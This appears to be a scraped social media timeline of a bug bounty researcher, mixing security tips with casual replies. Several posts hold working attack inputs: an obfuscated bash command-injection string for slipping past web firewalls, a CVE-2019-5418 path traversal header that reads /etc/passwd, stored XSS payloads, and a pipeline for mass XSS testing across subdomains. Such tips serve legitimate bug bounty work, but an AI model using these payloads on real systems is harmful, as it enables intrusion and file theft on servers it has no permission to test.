Rodric

23 years old | Cyber Security Enthusiast | Web App. Security Researcher | Shell/Bash Script Programmer | 🇧🇷 (::1)

[Rodric @rodricbr_]

@DualVoidAnima So you're the one that made it, it looks awesome... I've seen this as a gif format on countless comments on instagram

[Rodric @rodricbr_]

Cool path based LFI I found some time ago on Adobe.

#bugbountytips #BugBounty #CyberSecurity

[Rodric @rodricbr_]

@sirifu4k1 Thanks!

[Rodric @rodricbr_]

After a fascinating Command Injection publication from @sirifu4k1 few weeks ago, I decided to do a little "video demonstration & explanation" on how to bypass WAF using bash witch craft.
https://t.co/OvdQebN3rv

If there's anything I'm doing wrong or missing, please let me know!

[Rodric @rodricbr_]

@sirifu4k1 by wrapping it with brace expansion you can use a "," as "spaces" to the command
${!##\-}<<<{\$\'\\$(($((1<<1))#10100101))\\$(($((1<<1))#10011100))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10011011))\\$(($((1<<1))#10010001))\',\$\'\\$(($((1<<1))#110111))\\$(($((1<<1))#10001101))\'}

[N$🌟 @__nav1n_]

My 2nd RoR 'CVE-2019-5418' LFI in last 15 days. This is 3 years old bug and still exists... The page gives 404, but the buggy app is still in the server running.

Add "Accept: ../../../../../../../../etc/passwd{{" to GET Request and read /etc/passwd #bugbountytips #BugBounty

[Rodric @rodricbr_]

I've recently made my first write-up on Medium, telling the story of how I managed to manually find an Open Redirect and then escalating it to a XSS. If you're interested in reading it, check out the link below:
.
https://t.co/0wJuVuvFdr
.
.
.
.
#bugbountytips #BugBounty #medium

[Rodric @rodricbr_]

@_2os5 It was on a change username input

[Rodric @rodricbr_]

Stored XSS on 'value' attribute. (html input)

Payload used:
"><svg onmouseover=confirm(document.domain)>
.
.
.
.
#bugbountytips #bugbounty

[Rodric @rodricbr_]

@Biack1st time to use rust lang instead

[Rodric @rodricbr_]

Testing XSS using 'CSRF PoC Generator' on Burp Professional
Also useful to create a video explaining a XSS vulnerability you've found
.
.
.
.
#burptips #bugbountytips #burpsuite

[Rodric @rodricbr_]

@Kashhad10 Yeah, this one

[Rodric @rodricbr_]

airixss's virtue
@skothastad
.
.
.
Program: https://t.co/wNBmMHB8t6
#bugbountytips #bugbounty #hackerone

[Rodric @rodricbr_]

@Kashhad10 Sorry for the late answer, but here it is:
cat alive-subdomains.txt | waybackurls | nilo | uro | qsreplace '"><svg onload=confirm(1)>' | airixss -payload 'confirm(1)'
Or you could use it with gau or gauplus, instead of waybackurls.

[Rodric @rodricbr_]

Usefull tip to fuzzers:
- Adding a "/FUZZ" at the end of the line of a given file

$ cat subdomains.txt | sed 's/.*/&\/FUZZ/'

- Note: It's going to also add a "/", if you don't want to, just use the following instead: sed 's/.*/&FUZZ/'

#bugbountytips #BugBounty #hackerone

[Rodric @rodricbr_]

xss leading to ssrf

[Rodric @rodricbr_]

@RenegadeRanting @PPathole @elonmusk Sure, being watched and monitorized by your own country, and every action that they deny fks you up, sounds good to me :)

[Rodric @rodricbr_]

@LM_loleris this is the mad murderer, the classic one from 2014, I hope you're back with it

[Rodric @rodricbr_]

@yomama28234517 @PuppyYokai @BemmerWhite @SmutKari I have no fucking idea, every day something new and worse, lol

[Rodric @rodricbr_]

@AgendaFreeTV You can barely see but, there's like little white dots at the edges of the pillar, seems that it was jointed together using 'nails', i would say that it is hollow